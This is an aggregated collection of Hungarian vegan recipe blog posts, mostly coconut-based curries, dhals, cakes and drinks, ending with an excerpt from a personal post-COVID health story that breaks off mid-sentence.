A fűszeres, ázsiai jellegű ételek elkészítése a növényi alapú konyhában szinte elengedhetetlen. Ez a kókusztejes, csicseriborsós ragu jó alapot nyújthat ehhez: nem bonyolult az elkészítése, a végeredmény pedig nem annyira fűszeres, ami erős lenne a magyar ételekhez szokott ízlésnek. Ezt az ételt nyugodtan elkészítheted, ha olyasvalakit akarsz lenyűgözni, aki nem tud elképzelni egy jó fogást… The post Kókusztejes, csicseriborsós ragu - vegán, gluténmentes recept appeared first on Prove.hu.
Palak tofu, a spenótos tejsajt vegán változata
2023. december 21. Prove - a világ vegán szemmel
A palak tofu a dél-ázsiai spenótos tejsajt, a palak paneer növényi alapú változata. Ebben az illatos és krémes spenótos curryben a sajtot tofu váltja fel, a tejszínt pedig kókuszkrémmel vagy elturmixolt kesudióval is helyettesítheted. A következő receptben megmutatjuk hogyan készül az autentikus palak tofu és instrukciókat adunk az egyszerűsített változat elkészítéséhez is. A palak tofu… The post Palak tofu, a spenótos tejsajt vegán változata appeared first on Prove.hu.
Namoura vagy basbousa, azaz kókuszos-grízes süti - Csenge és Flóra világkonyhája
2023. október 15. Prove - a világ vegán szemmel
Mediterrán sorozatunk utolsó részéhez érkeztünk, és szokás szerint édes fináléval zárunk: mai receptünk egy grízes, kókuszos kevert sütemény, ami namoura, basbousa, revani és hareesa néven is ismert. Ez a cikk a Csenge és Flóra világkonyhája sorozat tizenhetedik része. További receptekért kattints ide, a házigazdák bemutatkozását pedig itt olvashatod el. Ez az egyiptomi, mór eredetű sütemény… The post Namoura vagy basbousa, azaz kókuszos-grízes süti - Csenge és Flóra világkonyhája appeared first on Prove.hu.
Indiai padlizsánragu
Van egy kedves indiai ismerősöm, ezt a receptet egyszer tőle tanultam. Hozzávalók: 50 dkg padlizsán 1 teáskanál kurkuma 1 teáskanál őrölt római kömény fél teáskanál őrölt koriandermag 1 csokor friss korianderlevél 1 fej vöröshagyma 2 gerezd fokhagyma 3 dl kókusztej só – ízlés szerint 3-5 evőkanál kókuszolaj Elkészítés: A padlizsánt megmossuk, felkockázzuk és megsózzuk. Egy […]
Rebarbarás vegán jégkrém
Itt a jó idő (legalábbis még ma igen, utána állítólag lehűlés következik), így hoztam is egy egyszerű jégkrém receptet. Hozzávalók: 2,5 dl rizs vagy kókusztejszín/krém 4 dl konzerv kókusztej 5-6 evőkanál juharszirup 4 tk kukoricakeményítő Fél citrom héja 1/2 Kg friss eper, rebarbara vegyesen Elkészítés: A kókusztejről óvatosan leöntjük a tetején összegyűlt vizet, majd a […]
Gombaraguval töltött gluténmentes, vegán palacsinta
Hozzávalók a palacsintához: 20 dkg hajdinaliszt 5 dkg tápióka keményítő 40 vagy 45 dkg víz 1 csipet kurkuma 3-4 ek. kókuszolaj ha szeretnénk (csak sósan fogyasztjuk): felaprított metélőhagyma Hozzávalók a gombaraguhoz: 50 dkg gomba 1 db sárgarépa 1 marék friss spenót 1 kaliforniai paprika 1 fej vöröshagyma 2 gerezd fokhagyma vegeta, kakukkfű, só kb. 2 dl […]
Vasárnapi ebéd, ahogy mi szeretjük
2023. április 30. Élj harmóniában
Vasárnapi ebéd, ahogy mi szeretjük Szabadon, kék ég alatt, zöld fűben, gyönyörű napsütésben, madárcsicsergéssel és szellősusogással a háttérben... és friss kakukkfűvel Utána kellemes heverészés és nem csinálunk semmit Teljesen dîjmentes annyi az ára, hogy idáig fel kell sétálni csekély ár egy ilyen csodáért . Jah és persze némi főzést is igényelt. A mai menü fűszeres mung dhal, kardamomos kókuszos basmati rizs, cukkinis sárgarépás subji (friss haza alapanyagból), kukoricalisztes zsemle és zablisztes csokis datolyás muffin.
Mandula-besameles spenótos lasagne
Gyerekek nagy kedvence -mint minden más tésztaétel ? -, a lasagne is, amelyet többször paradicsomos raguval készítek, de van, amikor padlizsán, lencse is kerül bele és van, amikor a spenót (kertünkben most sok spenót érik a fólia alatt). Vegán besamellel készül és tojás nélküli durum tésztával. Hozzávalók- a mandulabesamelhez: 2-3 ek. kókuszolaj 3-4 ek. barna […]
Vegán répatorta
2023. április 7. Élj harmóniában
A répatorta nagy népszerűségnek örvend, mert nem csak finom, de egy egészségesebb édesség - lévén az összetevők között reszelt répa, aszalt gyümölcs és valamilyen mag szerepel. Én tönkölybúzaliszttel szoktam készíteni, de helyette használhatsz teljeskiörlésű és finom búzalisztet is. A mandula helyett használhatsz diót is. Vegán réptatorta Hozzávalók 1,5 csésze tejeskiörlésű tönkölybúzaliszt 1,5 csésze tönköly finomliszt 1 csésze teljes értékű nádcukor 1 csg sütőpor 1 tk. szódabikarbóna 1 tk. fahéj 1 tk. kadmamom 1 tk. gyömbérpor 1 tk. örölt szegfűszeg 1 tk. vanília vagy ízlés szerint 1 csipet só 2/3 csésze naprafogóolaj vagy kókuszolaj 1,5 - 2 csésze víz 1 csésze mazsola 20 dkg pucolt sárgarépa 10 dkg mandula Vegyszermentes (bio) alapanyagokat használj:) A répákat reszeld le durvára vagy aprítsd fel apróra. A mandulát is daráld le picit durvábbra. Készíts elő egy tortaformát - kend ki és lisztezd ki vagy tegyél bele sütőpapírt. Keverd össze egy tálba a liszteket, sütőport, szódabikarbónát, fűszereket. Majd add hozzá az olajat és a vizet, keverd el. A vizet fokozatosan add hozzá, figyeld, hogy a tészta ne legyen folyós. Tedd hozzá a sárgarépát, mandulát és a mazsolát. A keveréket öntsd a sütőformába és 180 fokra előmelegített sütőben süsd készre kb. 35-40 perc. Ha kihült tehetsz mázat is a tetejére porcukorból és citromléből. Én nem szoktam, mert csak felesleges cukor:) Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat:) szeretettel Kati
Kitchari (Tridosha)
2023. február 16. Élj harmóniában
Arról, hogy a kitchari az ájurvédában milyen csodás gyógyító étel már sokszor írtam. Amikor tisztító kúrákat ajánlok vagy csoportosan vezetek ott is ezt fogyasztjuk. Itt olvashatod a kitchariról az alap bejegyzést. A Tisztító Programokról és az Elvonulásokról a weboldalunkon találsz bővebb információt. https://www.eljharmoniaban.hu/tisztitas https://www.eljharmoniaban.hu/joga-elvonulas Sokféle kitcharit szoktunk készíteni, de most a kedvenc kitchari receptemet osztom meg Veled. Talán azért szeretem ezt a receptet legjobban, mert kókusz is van benne. Az egész fűszerek is különlegessek a készítésben, a tálalásnál szépen mutatnak és szeretem elrágcsálni is őket. Hozzávalók 1 csésze sárga felezett mungóbab 1 csésze baszmati rizs 2,5 cm hámozott, apróra vágott gyömbér 2 evőkanál kókuszreszelék 1 kis marék friss koriander levél (vagy szárított) 1/2 csésze víz 3 evőkanál ghí 1 darab fahéj 5 egész kardamom mag 5 egész szegfűszeg 10 egész fekete bors 3 babérlevél 1/4 teáskanál kurkuma 1/4 teáskanál só 6 csésze víz Mosd meg k ülön a rizst és a mungó babot amig a víz tiszta lesz. Ha pár órára beáztatod a mungó babot, az segíti az emésztését. Pépesítsd össze a gyömbért, kókuszreszeléket, koriander levelet és a 1/2 csésze vizet egy kis mozsárban. Tegyél oda egy nagy edényt a ghível közepes lángon és pirítsd meg benne a fahéjat, kardamom magot, szegfűszeget, fekete borsot és a babérlevelet. Keverd egy kicsit, amíg elkezd illatozni. Add hozzá a pépesített kókuszos fűszermasszázt, valamint a kurkumát és a sót. Kevergesd, amíg enyhén megbarnul. Keverd bele a mungó babot és a rizst és jól keverd össze. Öntsd hozzá a 6 csésze vizet és fedő alatt forrald fel. Forrald 5 percig, figyelj rá, hogy kezdetben kifuthat. Utána félig rátéve a fedőt alacsony lángon főzd kb. 25-30 percig, amíg a mungó bab és a rizs megpuhul. Ez a kitchari minden dosha kiegyensúlyozáshoz ideális. Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat kívánok hozzá:) szeretettel Kati felhasznált szakirodalom: dr. Vasant Lad és Usha Lad Ájurvéda szakácskönyve Válasz Továbbítás
Rigó Jancsi (vegán)
Sütemény, ami személynevet hordoz? Nem véletlenül. Ki is volt Rigó Jancsi? Rigó János (Pákozd, 1858. augusztus 23. - New York, New York, 1927. február 3.) az egyik legismertebb cigányprímás, aki ötévesen már hegedűt vett a kezébe. A tanítótól lopott húrokat hozzá, amiért az esperes kérésére bocsánatot kért. E gesztusáért nála maradhattak a számára nagy kincsek. Ezután órák hosszat gyakorolt mindennap a szabadban: az erdő, a nádas világa hálás közönség volt: egymásnak muzsikáltak.
Ez a sütemény a nevét tehát Rigó Jancsi híres magyar cigányprímásról kapta. Milyen történet fűződik a prímás nevéhez? Ő az, aki elcsábította és feleségül vette Clara Ward, Caramane-Chimay hercegnőt, az amerikai milliomos E. B. Ward egyetlen lányát, aki Joseph Caraman-Chimay belga herceg felesége volt. Jancsi és Clara 1896-ban találkozott, amikor Rigó Jancsi egy párizsi étteremben játszott, ahol Clara férjével, Joseph herceggel vacsorázott. 1896 és 1898 között az újságok sokat foglalkoztak a prímás és a hercegnő házasságával. A tortát az azt készítő cukrász Rigó Jancsi és a romantikus szerelmi történet tiszteletére nevezte el.
A recept
Hozzávalók a piskótákhoz
- 32 dkg liszt
- 3 dkg kakaópor
- 15 dkg eritritol vagy gyümölcscukor
- 1 tsk vanília
- 2 tsk sütőpor
- 2 evőkanál olaj
- 1,5 evőkanál narancslé
- 1,5 dl növényi tej
Elkészítés:
Fogunk egy tálat, összekeverjük benne először a száraz hozzávalókat, majd hozzákanalazzuk a növényi tejet és étolajat és hozzáadjuk a narancslevet. Csomómentesre keverjük majd egy sütőpapírral bélelt tepsibe öntjük. Előmelegített sütőben kb. 20 percig sütjük. Tűpróbával ellenőrizzük, ha beleszúrjuk a piskóta közepébe, és nem ragad rá, megsült a piskótánk.
Amikor a piskóta kihűlt, közepén kettévágjuk (mint a tortákat) és megtöltjük a csokis tejszínes krémmel. A két piskóta lap közé minél vastagabb krémet érdemes kenni. Amikor a krémet az alsó lapra kentük, óvatosan ráhelyezzük a felső piskóta lapot, majd ráöntjük és elegyengetjük a folyékony csokit a tetején. Ekkor érdemes kockákra vágni és a hűtőbe betenni.
Hozzávalók a csokis krémhez
- 5 dl növényi tejszínhab
- 5 dkg vegán csoki (pl tortabevonó) vagy 5 dkg cukrozatlan kakaópor
- ízlés szerint eritritol (porrá őrölt) vagy más édesítő - lehetőleg por alapú és nem folyékony - csoki mellett elhagyható
A növényi tejszínt kemény habbá verjük. Magyarországon a Meggle termékei között találsz növényi tejszínt, amit süteményekhez használhatsz. Másik megoldás konzerves kókusztejet pár órára fagyasztóba tenni vagy egy éjszakára hűtőbe és felrázás nélkül felbontás után a kemény réteget lekanalazni róla és habverővel habbá verni. Most azonban kipróbáltam az Elmlea double cream-et. Mivel először használtam és tartottam tőle, hogy hosszú távon megőrzi a hab a szilárdságát, kevertem hozzá 1-2 kanál útifű maghéjat (psylikum husk). Amikor már kezd a krém habbá verődni, hozzácsurgatjuk a nem forró olvasztott csokit vagy a kakaó port. Másik megoldás, hogy a tejszínt először kikeverjük az olvasztott csokival majd alaposan lehűtjük és utána verjük csokis habbá.
Hozzávalók a csokis tetejéhez
- 10 dkg étcsoki (vegán)
- pár csepp olaj
Vízgőz felett megolvasztjuk a darabokra tört csokit és hogy még folyékonyabb legyen, pár csepp olajat csepegtetünk bele.
Ünnepi sütőtök-krémleves
Vegán karácsonyi vacsora főzőtanfolyam
egy Fantasztikus menü, amivel új hagyományt teremthetsz magadnak.
Részletek és jelentkezés ITT
Hozzávalók két személyre
- 350 g sült sütőtök
- 1/2 vöröshagyma
- 1 gerezd fokhagyma
- 1/4 mokkáskanál őrölt gyömbér
- 1/4 mokkáskanál őrölt fahéj
- 1 fújás természetes folyékony füst
- 2 csipet csípős pirospaprika
- 1/2 tk só
- 100 ml növényi (kókusz) tejszín
- Az olajon párold meg a kockára vágott hagymát, majd dobd rá a fokhagymát.
- Amint illatozni kezd, öntsd fel 5 dl zöldség alaplével (én ezt sima vízzel és 1-2 kávéskanál bio ételízesítővel szoktam megoldani).
- Ízesítsd a levest sóval, pirospaprikával, a gyömbérrel, fahéjjal és a folyékony füsttel.
- Tedd bele a sütőtököt, engedd felforrni.
- Turmixold össze a levest és legutoljára öntsd fel kókusztejszínnel.
Jó étvágyat!
Elkészítési idő: 25 perc (sült tökből)
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat!
Kezdő Vegán
Haladó vegán (Superfood)
Növényi tejtermékek
Görög vegán
Vegán MUST HAVE – a kötelező alapcsomag
Ez egy vegán recept volt. :)
Ha itt feliratkozol , a legújabbakat mindig frissen kapod majd a postaládádba.
The post Ünnepi sütőtök-krémleves first appeared on Kertkonyha.
Indiai kókuszos dhál
2022. szeptember 13. Élj harmóniában
A dhálok hüvelyesből készült szuper tápláló, sűrű levesek. Ma egy mungo babból készült kókuszos dhál receptet hoztam nektek. Nagyon szeretem a kókuszt és a mungo babot is, így nekem ez különösen nagy kedvencem :) Hozzávalók: 1/2 csésze mung dhal (sárga hántolt) 1/2 csésze kókuszreszelék 1/2 tk. só 2 ek. ghí vagy kókuszzsír 1/4 tk. fekete mustármag 2 kis szárított chili 1/2 tk. kurkuma csipet asafoetida ( hing) Vegyszermentes (bio) alapanyagokat használj! Tegyél oda vizet forralni. A dhált alaposan mosd meg, majd sóval és a kókuszreszellékkel tedd a forró vízbe és nagy lángon főzd puhára kb. 30-40 perc. Kicsivel a főzés vége előtt külön edényben forrosítsd fel a ghít vagy kókuszzsírt.Tedd bele a fekete msutármagot, pattogtasd ki ( ehhez érdemes fedőt tenni rá:) Majd húzd félre a tűzről és morzsold bele a chilit, tedd hozzá az asafoetidát és a kurkumát. Ezt keverd a dhálhoz és néhány percig főzd össze. Én ma polentát készítettem hozzá, de rizzsel, kuszkusszal,quinoával vagy chapati kenyérrel is tálalhatod. Kiegészítésnek készíts hozzá valamilyen zöldséges subjit. Jó étvágyat kívánok:) szeretettel: Kati
Sült sárgabarack fagyival (vegán)
Ismét egy recept, ami air fryerben (forró levegő sütőben) készült. Azért jó dolog egy ilyen készülék, mert a forróságban nem melegíti át a konyhát egy egész sütő üzemelése és mivel kisebb területet kell felfűtenie, gyorsabban is elkészülhetnek az ételek.
A recept
Hozzávalók:
- Néhány szem sárgabarack
- fagyi/jégkrém (vegán)
- air fryer vagy sütő
A sárgabarackokat megmossuk, ketté választjuk őket és kb. 15 perc alatt enyhén barnás színűre sütjük az air fryerben. Ha sütőben, tepsiben sütjük, nyilván tovább fog tartani.
A megsült barackokat tányérokra tesszük és jégrémet kanalazunk a tetejükre. Nekem kókuszos vegán jégkrém került rá. Ha a barackokat melegen tálaljuk, a jégkrém kissé megolvad a tetején. Gyors és finom élvezetet nyújt.
Akiknek ez így nem elég édes, megcsurgathatja valamilyen sziruppal (pl. agavé) vagy mézzel.
Forró leves hideg tavaszi napokra
2022. április 9. Mindennapi ételeink
Egy finom gomba krémleves receptet hoztam nektek, mivel nálunk lehűlt az idő, ezzel kedveskedtem a férjemnek - gyerekek nagy bánatára, ők még a szagát sem bírják ennek a levesnek. Ők brokkoli krémlevest kaptak. Hozzávalók:1 nagyobb fej vöröshagyma2-3 gerezd fokhagyma1 kg csiperkegomba2 közepes burgonya2 dl növényi főzőtejszínsó, rozmaring, vegeta2 ek. kókuszolaj/olaj/margarinvízElkészítés:Az elkészítése hihetetlenül egyszerű: a hagymát meghámozzuk, felaprítjuk és zsiradék és ugyanannyi víz keverékén megpároljuk. Eközben megmossuk nagyon alaposan a gombákat és 4-5 darabot egészben félreteszünk, a többit felaprítjuk. A burgonyát is megpucoljuk, kisebb kockákra vágjuk. Amikor a hagyma megpuhult, a felaprított gombát és krumplit ráöntjük, sózzuk, vegetázzuk, fűszerezzük, hozzáadjuk a fokhagymát és lefedve összepuhítjuk - mindig csak annyi vizet öntsünk rá, amennyi segíti. hogy ne égjen le. Ezután beleöntjük a főzőtejszínt, felöntjük annyi vízzel, amilyen sűrűre szeretnénk készíteni és összebotmixerezzük. A kimaradt gombafejeket rusztikusan, nagyobb darabokra vágjuk és kevés kókuszsíron megpirítjuk. Ez kerül majd levesbetétként rá.
Egy kis "nemsajttorta"
2022. március 6. Mindennapi ételeink
Ismét egy vegán sajttorta, ezúttal kesudióból. Ez a recept két torta ötvözéséből született meg. Hozzávalók:-piskótához:2,5 dl növényi tej 6 ek. étolaj 2 ek. citromlé25 dkg zabliszt1 tasak sütőpor10 dkg barnacukor /eritrit /nyírfacukor-krémhez:50 dkg natúr kesudió 8 dl lehűtött, sűrű, konzerves kókusztej 8 ek. porcukor 2 ek. citromlé 4 tasak vaníliás cukor Elkészítés: A piskóta alapanyagait összekeverjük (külön a szárazakat, nedveseket, majd az egészet alaposan összekeverjük). És 180 fokos sütőbe téve kb. 25 perc alatt készre sütjük. Benne hagyjuk a tortaformában. A krémhez szükséges kesudiót áztassuk be éjszakára, a konzerv kókusztejet tegyük hűtőbe. Másnap a krémhez a lehűtött kókusztejről vegyük le a szilárd részt és a leszűrt kesudióval, a cukorral, vaníliás cukorral és a citrommal turmixoljuk szét minél lágyabb krémmé. Ha nem elég édes még édesíthetjük. Kenjük rá ezt a krémet a piskótára. Tegyük egy teljes napot hűtőbe. Sok-sok gyümölccsel szoktuk fogyasztani, most csak málnánk volt itthon.
Főtt céklasaláta
2022. február 1. Mindennapi ételeink
Igazi téli saláta, egy kis növényi sajttal, friss rukkolával, spenóttal dúsítva. Nagyon szeretjük a céklát, én főképp nyersen szoktam salátában enni, de szeretem megfőzni, megsütni is - köretként vagy salátaként is tálalni. Hozzávalók:2 nagyobb cékla, megfőzve1 csomag rukkola5-6 levél spenót20 dkg vegán mozzarella ízesítésű sajt /marinált tofuval is finom2 ek. mustármag Zöldfűszeres fűszersó, petrezselyemzöl vagy korianderpár ek. olívaolaj Elkészítés:A céklát megmossuk, roppanósra főzzük, majd meghámozzuk és felkockázzuk. (Valamikor nyersen meghámozom, felkockázom és kevés kókuszzsíron megpirítom). A sajtot is hasonló méretű kockákra vágjuk. A rukkolát, spenótot megmossuk, és egy tálba tesszük. Belerakjuk a céklát, sajtot, mustármagot, ill. én sokszor lilahagymát is adok hozzá. Fűszerezzük, összekeverjük , meglocsoljuk az olajjal és már ehetjük is. Sokszor növényi majonézzel dúsítom. Szeretem a céklát fasírtnak is elkészíteni, vagy céklás krumplipürét is szoktam készíteni, de a céklás rizotto vagy brownie is nagyon finom.
Trópusi kókuszos ananász turmix (laktózmentes, gluténmentes, vegán) – Turmix kihívás 6. nap
2022. január 29. Zizi kalandjai
Ha választanom kell az eheti kihívás italai közül, akkor ezt a turmixot választanám. Ez a nagyon-nagyon finom kategória. Múlt héten vettem egy ananászt akciósan. Még nem volt érett. Gondoltam, ha megérik, akkor lesz belőle turmix. Rájöttem, hogy nagyon szeretem az ananászt, de olyan ritkán eszem, évente egy-két alkalommal. Konzerv változatot nem eszem, csak frisset vagy a frisset fagyasztom le. Source
Müzliszelet-falatkák
2022. január 11. Mindennapi ételeink
Odavagyok a müzliszeletért, bár számomra túl édesek, ragadósak. Szerettem volna itthon készíteni amolyan granola bar-t. Nekem ízlett, a gyerekek is ettek belőle, bár nem vitték túlzásba ? Hozzávalók:10 dkg zabpehely10 dkg mandula / dió (olajos mag)10 dkg aszalt gyümölcs10 dkg csokiforgács (csokidarab)8 dkg méz5 dkg barnacukor8 dkg kókuszolaj1 ek. lekvár 2 ek. chiamag2 ek.lenmagpehely2 ek. teljesőrlésű lisztElkészítés:A kókuszolajat, mézet, lekvárt összemelegítjük, majd hozzáadjuk a többi alapanyagunkat (diót én most daráltam és vágtam is). Sütőpapírral kibélelt tepsibe teszünk kis gombócokat, amelyeket rudakká/félrudakká lapítunk és 170 fokon kb. 15-20 perc alatt kisütjük.
Szilveszteri hotdog
2021. december 28. Mindennapi ételeink
Mostantól pár szilveszteri ötletet hozok nektek. Most egy virslire szeretném felhívni a figyelmeteket, amelyet mi az Aldiban szoktunk megvásárolni. Nagy előnye, hogy nem szója, hanem napraforgó alapú. Mi, felnőttek nagyon szeretjük, a gyerekeinknek azonban nem ízlik, ők maradnak a Well-well virsli mellett. Itt nem is receptet írnék, csak ezt a virslit szerettem volna bemutatni nektek. Mi kevés kókuszzsíron meg szoktuk pirítani. Majonézzel, mustárral, ketchup-pel borítjuk, mivel ezek a mi hotdog-jaink, ezért került bele szárított hagyma is a retek és - házilag eltett -savanyú uborka mellett.
Vegán "sajttorta"
2021. december 22. Mindennapi ételeink
Méltó desszert lehet a karácsonyi asztalon - már, ha addig marad belőle :-D Hozzávalók:A vegán csokis brownie -piskótához:1 csésze liszt 1/2 csésze barnacukor (vagy bármilyen más cukor)0,5 tasak sütőpor1 csipet szódabikarbóna0,5 csésze holland kakaó0,5 tábla étcsokoládé5 ek. kókuszolaj langyos víz A krémhez:30 dkg kesudió, este beáztatva1 citrom leve15 dkg olvasztott kókuszolaj 5 csomag vaníliás cukor5 ek. cukor 2 dl Hulala tejszín felverve Elkészítés:A tésztát készítjük el először: a száraz és a nedves alapanyagokat külön-külön összekeverjük, és annyi langyos vízzel hígítjuk, hogy puding állagú tésztát kapjunk. 180 fokon 15-20 perc alatt összesütjük. Most tortaformát sütöttem, és miután kihűlt, kettévágtam. A krémhez előző este beáztatjuk a kesudiót. Másnap aprítógépbe tesszük és összeaprítjuk a kesudiót. Amennyibne botmixerünk van, a megolvasztott kókuszolajjal, citrom levével együtt turmixoljuk össze. A Hulala tejszínt felvetjük és óvatosan hozzákeverjük. A krém egyharmadát külön vesszük és ízlés szerint holland kakaót, ill. egy tábla csokit olvasztunk hozzá, összekeverjük. A krém 2/3-ad részét pedig meghagyjuk fehérnek. Tetszés szerint rétegezzük.
Kókuszos kardamomos csiga (laktózmentes, vegán)
2021. november 30. Zizi kalandjai
A megkelt tészta (a monogramos terítő nagymamámé volt) Van pár recept előkészítve és gondolkodtam, hogy melyiket osszam meg. Ez a kókuszos-kardamomos csiga recept múlt hétvégén pattant ki a fejemből, amikor megsütöttem a kókuszos-kardamomos kuglófot ( régi recept). Rájöttem, hogy kis módosítással csigának is szuper lenne. Mivel ez olyan adventi időszaknak kedvező gyerekbarát recept... Source
Vegán Carbonara Recept (tökből és napraforgómagból)
Elsőre talán furán hangzik, hogy tökből és magvakból készíts carbonarat, de mi már többször is elkészítettük itthon ezt a receptet, mindig nagyon hamar elfogyott. Az eredmény krémes és ténylegesen “carbonara ízvilágú” lesz, az tuti, hogy senki nem találná ki, hogy gyalult tök az alapja. Hozzávalók: 2 vöröshagyma 500g gyalult tök (mi fagyasztottból készítettük) 1 kókusztejszín (mi kis konzerveset vettünk a Tescoból ~165 ml, de bármilyen más növényi tejszín jó hozzá) 1 pohárnyi hántolt napraforgómag (2 dl) 1 füstölt tofu 1 teáskanál fekete só 2 evőkanál sörélesztőpehely fél teáskanál kurkuma só, bors, fokhagymagranulátum A napraforgómagvakat olaj nélkül, lassú tűzön egy kicsit megpirítjuk. Ha kész, mehet a turmixgépbe a kókusztejszínnel összekeverve, amíg krémes állagú nem lesz. A gyalult tököt egy lábasba fél deci vízzel felrakjuk párolódni, amíg ki nem olvad. Közben egy másik edényben kis olajon a feldarabolt hagymát is megpirítjuk. Ha a tök kész, a levét leszűrve hozzáadjuk a tejszínes-magvas masszához, majd mehet hozzá a hagyma is. Botmixerrel összedolgozzuk, ekkor jön hozzá a sörélesztőpehely, só, bors,fokhagymagranulátum,fekete só illetve a kevés kurkuma hogy szép sárga színt adjon az ételnek. Az így készült krémet még egyszer lassú tűzön összerottyantjuk az apróra kockázott füstölt tofuval, ami pluszban ad neki egy kellemesen füstös ízt. Mi durumtésztával tálaltuk, a végén megszórva még egy kis napraforgómaggal. Tedd a kedveceim közé 0 The post Vegán Carbonara Recept (tökből és napraforgómagból) appeared first on VegaNinja.
Vegán brownie banánnal
Két hónap múlva karácsony. Háziasszonyok egy része talán már ilyenkor gondolkodik mit kellene főzni, sütni. Nos, ha valami gyorsat szeretnél, ami csupa csoki, akkor ajánlom ezt. Reformkonyhások karobbal is készíthetik, nekik ajánlom a fahéj és/vagy szezámpasta és/vagy narancs és/vagy mogyoró hozzáadását, hogy kellemesebb íze legyen. Akárhogy is készíted el, karobbal vagy kakaóporral, az aszalt bogyós gyümölcsök szuper kiegészítői a brownie tetejére szórva. Ha kakaóval készíted, szórhatsz rá csokicsipszet (1-2 helyen már vegán csokicsipszet is árulnak). Ha rokonok vagy barátok jönnek vendégségbe, akkor is közel 30 perc alatt összehozhatod az egészet. Azok akik kevésbé szeretik a banános ízvilágot, nem titkolom, enyhén banános íze van, de nem erősen jellegzetes. Ha a kakaós változathoz keversz némi fahéjat, azzal még inkább elnyomod a banán ízét.
A recept
Hozzávalók:
- 20 dkg fehér liszt
- 10 dkg teljes kiőrlésű liszt
- 1 tk sütőpor (ha self-raising/ önmagától megkelő sütőporral kevert liszt lisztet használunk, ez nem szükséges)
- 1 kk szódabikarbóna
- 3-4 ek kakaópor vagy karobpor
- 3 érett közepes méretű banán
- 2,5 dkg kókuszzsír
- 2,5 dl növényi tej (zabtej és szójatej maradékokat használtam fel)
- 10 dkg erithritol
- 1 tk vanília aroma vagy esszencia
- maréknyi csokicsipsz vagy aprított étcsokoládé vagy aszalt gyümölcs (a bogyós gyümölcsöket ajánlom elsősorban
Elkészítés:
A száraz alapanyagokat - a lisztet, a sütőport, a szódabikarbónát és a kakaóport és az eritritolt - egy tálban elkeverjük. A banánokat egy másik tálban villával szétnyomkodjuk majd hozzáadjuk a megolvasztott kókuszzsírt, a tejet és a vaníliát, és simára keverjük. Használhatunk botmixert, vagy turmixgépet, de ha van egy jó habverő, kicsit tovább tart ugyan, de azzal is elvégezhető. Én egyszerűen csak a turmixgépbe öntöttem bele.
A két keveréket összeöntjük, és simára kikeverjük. Én a turmixgépben végeztem el a két keverék simára keverését. Egy sütőpapírral bélelt kisebb tepsibe öntjük, elsimítjuk, megszórjuk csokicsipszekkel és 175-180 fokos sütőbe tolva, légkeverés mellett 25 perc alatt megsütjük.
A sütőből kivéve hagyjuk kihűlni, szeletelve tálaljuk.
Vegán Pumpkin Spice Latte – egyszerű recept otthonra
Az ősz legnagyobb slágere a pumpkin spice latte, szinte minden kávézóban belefuthatsz ilyenkor. Fűszeres, hangulatos, meleg ital és valójában nem is nehéz elkészíteni. Ha szeretnéd otthon is kipróbálni a gazdaságosabb, etikusabb verzióját, ami garantáltan vegán is, olvass tovább! Hozzávalók: 2 adaghoz 3 evőkanál sütőtökpüré (lifehack, ha nem akarsz egy egész sütőtököt megpucolni és a megfőzésével-pürésítésével bajlódni, akkor vehetsz kis üveges sütőtökpürét, amit a bébiételek között találsz. én is ebből készítettem most) 2-3 evőkanál agaveszirup/juharszirup (én 3 evőkanál alnatura agaveszirupot használtam, így elég édes lett az eredmény. ha egyik sincs otthon, akkor kókuszcukorral is kiválthatod) fél teáskanál fahéj fél teáskanál őrölt gyömbér fél teáskanál őrölt szerecsendió fél teáskanál őrölt szegfűszeg (de ha van otthon mézeskalács fűszerkeveréked, az szinte pontosan ezeket tartalmazza, mehet belőle 2 teáskanállal a fentiek helyett) fél bögre növényi tej (én a dm-es barista tejet ajánlom (zabital szójával), nagyon jól habosítható és nincs erőteljes szójaíze sem, a többi növényi tejhez képest az ára is barátibb) 1-2 adag lefőzött presszókávé (én 1 adagot öntöttem csak bele, de ha több koffeinnel innád akkor mehet több is) díszítéshez növényi tejszínhab (én a felverhető Meggle Creme Patisserie Decor néven futó dobozos tejszínre esküszöm, de dm-ben kapható klasszikus flakonos növényi tejszínhab is) Egy kisebb lábosba beleöntöttem a sütőtökpürét, agaveszirupot és összemelegítettem (nem forraltam fel), jól elkevertem a masszát. Ezután mehet bele a növényi tej, a fűszerek és végül a kávé, kevergetve amíg fel nem melegszik az egész. Én kézi habverővel habosítottam kicsit rajta, mielőtt kitöltöttem volna a poharamba. A végén hozzáadtam a tejszínhabot és megszórtam őrölt szerecsendióval. Ennyi az egész, már ihatod is! Az alaprecept variálható attól függően, hogy mennyire szereted édesen/fűszeresen/sűrűn, kísérletezhetsz a szirup/fűszer/püré aránnyal ízlésed szerint. Tedd a kedveceim közé 0 The post Vegán Pumpkin Spice Latte – egyszerű recept otthonra appeared first on VegaNinja.
Az én (post)covid történetem - 2. rész
2021. szeptember 3. Mindennapi ételeink
Ismét itt vagyok és ezúttal, ahogy az előző bejegyzésben ígértem, azt írom le, hogyan jöttem rá, hogy ételintoleranciáim alakultak ki a covid vírus következtében és mit lehet ilyen esetben tenni? Februárban kaptam egy bétablokkolót, a postcovid miatt kialakult magas pulzusomra. Sajnos (vagy inkább hála érte?) nem sokáig szedhettem, mert egyrészt nagyon levitte a vérnyomásomat (75/65 volt a maximum), másfelől ráerősített a vírus által kiváltott emésztési zavarokra. Így a kardiológussal egyeztetve inkább elhagytam a bétablokkolót, és kb 7 hónapig extrém magas pulzussal éltem - kétszer be is kellett menni a sürgősségire. Milyen tüneteket okozott a bétablokkoló mellékhatás a ill. természetesen a vírus is? - erős migrénes fejfájás - "égő fej" érzés (belülről) - hányinger - nagyon gyakori hasmenés - puffadás - piros foltok az arcon (mintha alkoholbeteg lennék) - kiütések felkaron és lábon - álmatlanság -levertség, elesettség érzés -nagyon erős szédülés -extrém alacsony vérnyomás -bizonyos ételek elfogyasztása után nyelőcső beszűkülése, fulladásérzés, -szorongás. Mivel ezek nagy része postcovid tünet is lehet, így hetekbe telt, mire sikerült leszűkítenem a kört: elsősorban az tűnt elég valószínűnek, hogy hisztamin intolerancia alakult ki nálam. Mi is ez? A hisztamin nevű anyag a szervezetben a legnagyobb mennyiségben az úgynevezett hízósejtekben és a bazofil sejtekben termelődő és raktározódó 